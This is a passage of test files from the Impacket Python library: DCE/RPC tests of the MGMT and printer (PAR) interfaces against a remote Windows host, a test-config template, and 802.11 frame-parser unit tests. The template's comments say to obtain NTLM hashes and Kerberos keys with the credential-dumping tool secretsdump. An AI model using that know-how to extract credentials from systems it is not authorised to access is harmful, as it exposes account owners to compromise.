-------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Tested so far: 10 | # (h)inq_if_ids 11 | # (h)inq_stats 12 | # (h)is_server_listening 13 | # (h)stop_server_listening 14 | # (h)inq_princ_name 15 | # 16 | from __future__ import division 17 | from __future__ import print_function 18 | import pytest 19 | import unittest 20 | from six import assertRaisesRegex 21 | from tests.dcerpc import DCERPCTests 22 | 23 | from impacket.dcerpc.v5 import mgmt 24 | from impacket.dcerpc.v5.rpcrt import DCERPCException 25 | 26 | 27 | class MGMTTests(DCERPCTests): 28 | iface_uuid = mgmt.MSRPC_UUID_MGMT 29 | string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]" 30 | authn = True 31 | 32 | def test_inq_if_ids(self): 33 | dce, transport = self.connect() 34 | 35 | request = mgmt.inq_if_ids() 36 | resp = dce.request(request) 37 | resp.dump() 38 | #for i in range(resp['if_id_vector']['count']): 39 | # print bin_to_uuidtup(resp['if_id_vector']['if_id'][i]['Data'].getData()) 40 | # print 41 | 42 | def test_hinq_if_ids(self): 43 | dce, transport = self.connect() 44 | 45 | resp = mgmt.hinq_if_ids(dce) 46 | resp.dump() 47 | 48 | def test_inq_stats(self): 49 | dce, transport = self.connect() 50 | 51 | request = mgmt.inq_stats() 52 | request['count'] = 40 53 | resp = dce.request(request) 54 | resp.dump() 55 | 56 | def test_hinq_stats(self): 57 | dce, transport = self.connect() 58 | 59 | resp = mgmt.hinq_stats(dce) 60 | resp.dump() 61 | 62 | def test_is_server_listening(self): 63 | dce, transport = self.connect() 64 | 65 | request = mgmt.is_server_listening() 66 | resp = dce.request(request, checkError=False) 67 | resp.dump() 68 | 69 | def test_his_server_listening(self): 70 | dce, transport = self.connect() 71 | 72 | resp = mgmt.his_server_listening(dce) 73 | resp.dump() 74 | 75 | def test_stop_server_listening(self): 76 | dce, transport = self.connect() 77 | 78 | request = mgmt.stop_server_listening() 79 | with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): 80 | dce.request(request) 81 | 82 | def test_hstop_server_listening(self): 83 | dce, transport = self.connect() 84 | 85 | with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): 86 | mgmt.hstop_server_listening(dce) 87 | 88 | def test_inq_princ_name(self): 89 | dce, transport = self.connect() 90 | 91 | request = mgmt.inq_princ_name() 92 | request['authn_proto'] = 0 93 | request['princ_name_size'] = 32 94 | resp = dce.request(request, checkError=False) 95 | resp.dump() 96 | 97 | def test_hinq_princ_name(self): 98 | dce, transport = self.connect() 99 | 100 | resp = mgmt.hinq_princ_name(dce) 101 | resp.dump() 102 | 103 | 104 | @pytest.mark.remote 105 | class MGMTTestsSMBTransport(MGMTTests, unittest.TestCase): 106 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 107 | 108 | 109 | @pytest.mark.remote 110 | class MGMTTestsSMBTransport64(MGMTTests, unittest.TestCase): 111 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 112 | 113 | 114 | @pytest.mark.remote 115 | class MGMTTestsTCPTransport(MGMTTests, unittest.TestCase): 116 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 117 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 118 | 119 | 120 | @pytest.mark.remote 121 | class MGMTTestsTCPTransport64(MGMTTests, unittest.TestCase): 122 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 123 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 124 | 125 | 126 | # Process command-line arguments. 127 | if __name__ == "__main__": 128 | unittest.main(verbosity=1) 129 | -------------------------------------------------------------------------------- /tests/dcerpc/test_par.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Tested so far: 10 | # (h)RpcAsyncEnumPrinters 11 | # (h)RpcAsyncEnumPrinterDrivers 12 | # (h)RpcAsyncGetPrinterDriverDirectory 13 | # 14 | # Not yet: 15 | # (h)RpcAsyncOpenPrinter 16 | # (h)RpcAsyncClosePrinter 17 | # (h)RpcAsyncAddPrinterDriver 18 | # RpcAsyncAddPrinter 19 | # 20 | import pytest 21 | import unittest 22 | from six import assertRaisesRegex 23 | from tests.dcerpc import DCERPCTests 24 | 25 | from impacket.dcerpc.v5 import par 26 | from impacket.dcerpc.v5.dtypes import NULL 27 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 28 | 29 | 30 | class PARTests(DCERPCTests): 31 | iface_uuid = par.MSRPC_UUID_PAR 32 | string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER 33 | authn = True 34 | authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 35 | 36 | def test_RpcAsyncEnumPrinters(self): 37 | dce, rpc_transport = self.connect() 38 | request = par.RpcAsyncEnumPrinters() 39 | request['Flags'] = 0 40 | request['Name'] = NULL 41 | request['pPrinterEnum'] = NULL 42 | request['Level'] = 0 43 | resp = dce.request(request, par.MSRPC_UUID_WINSPOOL) 44 | resp.dump() 45 | 46 | def test_hRpcAsyncEnumPrinters(self): 47 | dce, rpc_transport = self.connect() 48 | resp = par.hRpcAsyncEnumPrinters(dce, NULL) 49 | resp.dump() 50 | 51 | def test_RpcAsyncEnumPrinterDrivers(self): 52 | dce, rpc_transport = self.connect() 53 | request = par.RpcAsyncEnumPrinterDrivers() 54 | request['pName'] = NULL 55 | request['pEnvironment'] = NULL 56 | request['Level'] = 1 57 | request['pDrivers'] = NULL 58 | request['cbBuf'] = 0 59 | with assertRaisesRegex(self, par.DCERPCException, "ERROR_INSUFFICIENT_BUFFER"): 60 | dce.request(request, par.MSRPC_UUID_WINSPOOL) 61 | 62 | def test_hRpcAsyncEnumPrinterDrivers(self): 63 | dce, rpc_transport = self.connect() 64 | resp = par.hRpcAsyncEnumPrinterDrivers(dce, NULL, NULL, 1) 65 | resp.dump() 66 | 67 | def test_RpcAsyncGetPrinterDriverDirectory(self): 68 | dce, rpc_transport = self.connect() 69 | request = par.RpcAsyncGetPrinterDriverDirectory() 70 | request['pName'] = NULL 71 | request['pEnvironment'] = NULL 72 | request['Level'] = 1 73 | request['pDriverDirectory'] = NULL 74 | request['cbBuf'] = 0 75 | with assertRaisesRegex(self, par.DCERPCException, "ERROR_INSUFFICIENT_BUFFER"): 76 | dce.request(request, par.MSRPC_UUID_WINSPOOL) 77 | 78 | def test_hRpcAsyncGetPrinterDriverDirectory(self): 79 | dce, rpc_transport = self.connect() 80 | resp = par.hRpcAsyncGetPrinterDriverDirectory(dce, NULL, NULL, 1) 81 | resp.dump() 82 | 83 | 84 | @pytest.mark.remote 85 | class PARTestsTCPTransport(PARTests, unittest.TestCase): 86 | protocol = "ncacn_ip_tcp" 87 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 88 | 89 | 90 | @pytest.mark.remote 91 | class PARTestsTCPTransport64(PARTests, unittest.TestCase): 92 | protocol = "ncacn_ip_tcp" 93 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 94 | 95 | 96 | # Process command-line arguments. 97 | if __name__ == "__main__": 98 | unittest.main(verbosity=1) 99 | -------------------------------------------------------------------------------- /tests/dcetests.cfg.template: -------------------------------------------------------------------------------- 1 | [global] 2 | 3 | [TCPTransport] 4 | # NetBIOS Name 5 | servername = 6 | # Targets IP 7 | machine = 8 | username = 9 | password = 10 | # NTLM Hash, you can grab it with secretsdump 11 | hashes = 12 | # Kerberos AES 256 Key, you can grab it with secretsdump 13 | aesKey256 = 14 | # Kerberos AES 128 Key, you can grab it with secretsdump 15 | aesKey128 = 16 | # It must be the domain FQDN 17 | domain = 18 | # This need to be a domain joined machine NetBIOS name 19 | machineuser = 20 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 21 | machineuserhashes = 22 | -------------------------------------------------------------------------------- /tests/dot11/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11, Dot11Types 12 | 13 | 14 | class TestDot11Common(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # Frame control field 18 | a=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 19 | self.dot11fc=Dot11(a) 20 | 21 | def test_01_HeaderSize(self): 22 | 'Test Header Size field' 23 | self.assertEqual(self.dot11fc.get_header_size(), 2) 24 | 25 | def test_01_TailSize(self): 26 | 'Test Tail Size field' 27 | self.assertEqual(self.dot11fc.get_tail_size(), 4) 28 | 29 | def test_02_Version(self): 30 | 'Test Version field' 31 | self.assertEqual(self.dot11fc.get_version(), 0) 32 | self.dot11fc.set_version(3) 33 | self.assertEqual(self.dot11fc.get_version(), 3) 34 | 35 | def test_03_Type(self): 36 | 'Test Type field' 37 | self.assertEqual(self.dot11fc.get_type(), 1) 38 | self.dot11fc.set_type(3) 39 | self.assertEqual(self.dot11fc.get_type(), 3) 40 | 41 | def test_04_SubType(self): 42 | 'Test Subtype field' 43 | self.assertEqual(self.dot11fc.get_subtype(),13) 44 | self.dot11fc.set_subtype(5) 45 | self.assertEqual(self.dot11fc.get_subtype(),5) 46 | 47 | def test_05_ToDS(self): 48 | 'Test toDS field' 49 | self.assertEqual(self.dot11fc.get_toDS(),0) 50 | self.dot11fc.set_toDS(1) 51 | self.assertEqual(self.dot11fc.get_toDS(),1) 52 | 53 | def test_06_FromDS(self): 54 | 'Test fromDS field' 55 | self.assertEqual(self.dot11fc.get_fromDS(),0) 56 | self.dot11fc.set_fromDS(1) 57 | self.assertEqual(self.dot11fc.get_fromDS(),1) 58 | 59 | def test_07_MoreFrag(self): 60 | 'Test More Frag field' 61 | self.assertEqual(self.dot11fc.get_moreFrag(),0) 62 | self.dot11fc.set_moreFrag(1) 63 | self.assertEqual(self.dot11fc.get_moreFrag(),1) 64 | 65 | def test_08_Retry(self): 66 | 'Test Retry field' 67 | self.assertEqual(self.dot11fc.get_retry(),0) 68 | self.dot11fc.set_retry(1) 69 | self.assertEqual(self.dot11fc.get_retry(),1) 70 | 71 | def test_09_PowerManagement(self): 72 | 'Test Power Management field' 73 | self.assertEqual(self.dot11fc.get_powerManagement(),0) 74 | self.dot11fc.set_powerManagement(1) 75 | self.assertEqual(self.dot11fc.get_powerManagement(),1) 76 | 77 | def test_10_MoreData(self): 78 | 'Test More Data field' 79 | self.assertEqual(self.dot11fc.get_moreData(),0) 80 | self.dot11fc.set_moreData(1) 81 | self.assertEqual(self.dot11fc.get_moreData(),1) 82 | 83 | # def test_11_WEP(self): 84 | # 'Test WEP field' 85 | # self.assertEqual(self.dot11fc.get_WEP(),0) 86 | # self.dot11fc.set_WEP(1) 87 | # self.assertEqual(self.dot11fc.get_WEP(),1) 88 | 89 | 90 | def test_12_Order(self): 91 | 'Test Order field' 92 | self.assertEqual(self.dot11fc.get_order(),0) 93 | self.dot11fc.set_order(1) 94 | self.assertEqual(self.dot11fc.get_order(),1) 95 | 96 | def test_13_latest(self): 97 | 'Test complete frame hexs' 98 | self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 99 | self.dot11fc.set_order(1) 100 | self.dot11fc.set_moreData(1) 101 | self.dot11fc.set_retry(1) 102 | self.dot11fc.set_fromDS(1) 103 | 104 | frame=self.dot11fc.get_packet() 105 | 106 | self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e') 107 | 108 | 109 | if __name__ == '__main__': 110 | unittest.main(verbosity=1) 111 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from six import PY2 12 | from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types 13 | 14 | 15 | class TestDot11Decoder(unittest.TestCase): 16 | 17 | def setUp(self): 18 | self.WEPKey=None #Unknown 19 | self.WEPData=b'\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35' 20 | dot11_decoder = Dot11Decoder() 21 | self.in0=dot11_decoder.decode(self.WEPData) 22 | self.in1=self.in0.child() 23 | self.in2=self.in1.child() 24 | self.in3=self.in2.child() 25 | if self.WEPKey: 26 | self.in4=self.in3.child() 27 | self.in5=self.in4.child() 28 | 29 | def test_01_Dot11Decoder(self): 30 | 'Test Dot11 decoder' 31 | if PY2: 32 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11") 33 | else: 34 | self.assertEqual(str(self.in0.__class__), "") 35 | 36 | def test_02_Dot11DataFrameDecoder(self): 37 | 'Test Dot11DataFrame decoder' 38 | if PY2: 39 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame") 40 | else: 41 | self.assertEqual(str(self.in1.__class__), "") 42 | 43 | def test_03_Dot11WEP(self): 44 | 'Test Dot11WEP decoder' 45 | if PY2: 46 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP") 47 | else: 48 | self.assertEqual(str(self.in2.__class__), "") 49 | 50 | def test_04_Dot11WEPData(self): 51 | 'Test Dot11WEPData decoder' 52 | 53 | if not self.WEPKey: 54 | return 55 | 56 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData") 57 | 58 | # Test if wep data "get_packet" is correct 59 | wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17' 60 | self.assertEqual(self.in3.get_packet(), wepdata) 61 | 62 | def test_05_LLC(self): 63 | 'Test LLC decoder' 64 | if self.WEPKey: 65 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC") 66 | 67 | def test_06_Data(self): 68 | 'Test LLC Data decoder' 69 | 70 | if self.WEPKey: 71 | dataclass=self.in4.__class__ 72 | else: 73 | dataclass=self.in3.__class__ 74 | 75 | self.assertGreater(str(dataclass).find('ImpactPacket.Data'), 0) 76 | 77 | 78 | if __name__ == '__main__': 79 | unittest.main(verbosity=1) 80 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK 12 | 13 | 14 | class TestDot11FrameControlACK(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Control Frame ACK 18 | self.frame_orig=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 19 | 20 | d = Dot11(self.frame_orig) 21 | 22 | type = d.get_type() 23 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 24 | 25 | subtype = d.get_subtype() 26 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT) 27 | 28 | typesubtype = d.get_type_n_subtype() 29 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT) 30 | 31 | self.ack = Dot11ControlFrameACK(d.get_body_as_string()) 32 | 33 | d.contains(self.ack) 34 | 35 | def test_01_HeaderTailSize(self): 36 | 'Test Header and Tail Size field' 37 | self.assertEqual(self.ack.get_header_size(), 8) 38 | self.assertEqual(self.ack.get_tail_size(), 0) 39 | 40 | def test_02_Duration(self): 41 | 'Test Duration field' 42 | 43 | self.assertEqual(self.ack.get_duration(), 0) 44 | self.ack.set_duration(0x1234) 45 | self.assertEqual(self.ack.get_duration(), 0x1234) 46 | 47 | def test_03_RA(self): 48 | 'Test RA field' 49 | 50 | ra=self.ack.get_ra() 51 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 52 | ra[0]=0x12 53 | ra[5]=0x34 54 | self.ack.set_ra(ra) 55 | self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 56 | 57 | 58 | if __name__ == '__main__': 59 | unittest.main(verbosity=1) 60 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEnd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd 12 | 13 | 14 | class TestDot11FrameControlCFEnd(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Control Frame CFEnd 18 | self.frame_orig=b'\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0' 19 | 20 | d = Dot11(self.frame_orig) 21 | 22 | type = d.get_type() 23 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 24 | 25 | subtype = d.get_subtype() 26 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END) 27 | 28 | typesubtype = d.get_type_n_subtype() 29 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END) 30 | 31 | self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string()) 32 | 33 | d.contains(self.cfend) 34 | 35 | def test_01_HeaderTailSize(self): 36 | 'Test Header and Tail Size field' 37 | self.assertEqual(self.cfend.get_header_size(), 14) 38 | self.assertEqual(self.cfend.get_tail_size(), 0) 39 | 40 | def test_02_Duration(self): 41 | 'Test Duration field' 42 | 43 | self.assertEqual(self.cfend.get_duration(), 0x00) 44 | self.cfend.set_duration(0x1234) 45 | self.assertEqual(self.cfend.get_duration(), 0x1234) 46 | 47 | def test_03_RA(self): 48 | 'Test RA field' 49 | 50 | ra=self.cfend.get_ra() 51 | self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff]) 52 | ra[0]=0x12 53 | ra[5]=0x34 54 | self.cfend.set_ra(ra) 55 | self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34]) 56 | 57 | def test_04_BSSID(self): 58 | 'Test BSS ID field' 59 | 60 | bssid=self.cfend.get_bssid() 61 | self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 62 | bssid[0]=0x12 63 | bssid[5]=0x34 64 | self.cfend.set_bssid(bssid) 65 | self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 66 | 67 | 68 | if __name__ == '__main__': 69 | unittest.main(verbosity=1) 70 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEndCFACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK 12 | 13 | 14 | class TestDot11FrameControlCFEndCFACK(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Control Frame CFEndCFACK 18 | self.frame_orig=b'\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00' 19 | 20 | d = Dot11(self.frame_orig) 21 | 22 | type = d.get_type() 23 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 24 | 25 | subtype = d.get_subtype() 26 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK) 27 | 28 | typesubtype = d.get_type_n_subtype() 29 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK) 30 | 31 | self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string()) 32 | 33 | d.contains(self.cfendcfack) 34 | 35 | def test_01_HeaderTailSize(self): 36 | 'Test Header and Tail Size field' 37 | self.assertEqual(self.cfendcfack.get_header_size(), 14) 38 | self.assertEqual(self.cfendcfack.get_tail_size(), 0) 39 | 40 | def test_02_Duration(self): 41 | 'Test Duration field' 42 | 43 | self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE) 44 | self.cfendcfack.set_duration(0x1234) 45 | self.assertEqual(self.cfendcfack.get_duration(), 0x1234) 46 | 47 | def test_03_RA(self): 48 | 'Test RA field' 49 | 50 | ra=self.cfendcfack.get_ra() 51 | self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b]) 52 | ra[0]=0x12 53 | ra[5]=0x34 54 | self.cfendcfack.set_ra(ra) 55 | self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34]) 56 | 57 | def test_04_BSSID(self): 58 | 'Test BSS ID field' 59 | 60 | bssid=self.cfendcfack.get_bssid() 61 | self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a]) 62 | bssid[0]=0x12 63 | bssid[5]=0x34 64 | self.cfendcfack.set_bssid(bssid) 65 | self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34]) 66 | 67 | 68 | if __name__ == '__main__': 69 | unittest.main(verbosity=1) 70 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS 12 | 13 | 14 | class TestDot11FrameControlCTS(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Control Frame CTS 18 | self.frame_orig=b'\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17' 19 | 20 | d = Dot11(self.frame_orig) 21 | 22 | type = d.get_type() 23 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 24 | 25 | subtype = d.get_subtype() 26 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND) 27 | 28 | typesubtype = d.get_type_n_subtype() 29 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND) 30 | 31 | self.cts = Dot11ControlFrameCTS(d.get_body_as_string()) 32 | 33 | d.contains(self.cts) 34 | 35 | def test_01_HeaderTailSize(self): 36 | 'Test Header and Tail Size field' 37 | self.assertEqual(self.cts.get_header_size(), 8) 38 | self.assertEqual(self.cts.get_tail_size(), 0) 39 | 40 | def test_02_Duration(self): 41 | 'Test Duration field' 42 | 43 | self.assertEqual(self.cts.get_duration(), 4667) 44 | self.cts.set_duration(0x1234) 45 | self.assertEqual(self.cts.get_duration(), 0x1234) 46 | 47 | def test_03_RA(self): 48 | 'Test RA field' 49 | 50 | ra=self.cts.get_ra() 51 | 52 | self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 53 | ra[0]=0x12 54 | ra[5]=0x34 55 | self.cts.set_ra(ra) 56 | self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 57 | 58 | 59 | if __name__ == '__main__': 60 | unittest.main(verbosity=1) 61 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlPSPoll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll 12 | 13 | 14 | class TestDot11FrameControlPSPoll(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Control Frame PSPoll 18 | self.frame_orig=b'\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f' 19 | 20 | d = Dot11(self.frame_orig) 21 | 22 | type = d.get_type() 23 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 24 | 25 | subtype = d.get_subtype() 26 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL) 27 | 28 | typesubtype = d.get_type_n_subtype() 29 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 30 | 31 | self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string()) 32 | 33 | d.contains(self.pspoll) 34 | 35 | def test_01_HeaderTailSize(self): 36 | 'Test Header and Tail Size field' 37 | self.assertEqual(self.pspoll.get_header_size(), 14) 38 | self.assertEqual(self.pspoll.get_tail_size(), 0) 39 | 40 | def test_02_AID(self): 41 | 'Test AID field' 42 | 43 | self.assertEqual(self.pspoll.get_aid(), 0xAFF1) 44 | self.pspoll.set_aid(0x1234) 45 | self.assertEqual(self.pspoll.get_aid(), 0x1234) 46 | 47 | def test_03_BSSID(self): 48 | 'Test BSS ID field' 49 | 50 | bssid=self.pspoll.get_bssid() 51 | self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9]) 52 | bssid[0]=0x12 53 | bssid[5]=0x34 54 | self.pspoll.set_bssid(bssid) 55 | self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34]) 56 | 57 | def test_04_TA(self): 58 | 'Test TA field' 59 | 60 | ta=self.pspoll.get_ta() 61 | self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a]) 62 | ta[0]=0x12 63 | ta[5]=0x34 64 | self.pspoll.set_ta(ta) 65 | self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34]) 66 | 67 | 68 | if __name__ == '__main__': 69 | unittest.main(verbosity=1) 70 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlRTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS 12 | 13 | 14 | class TestDot11FrameControlRTS(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Control Frame RTS 18 | 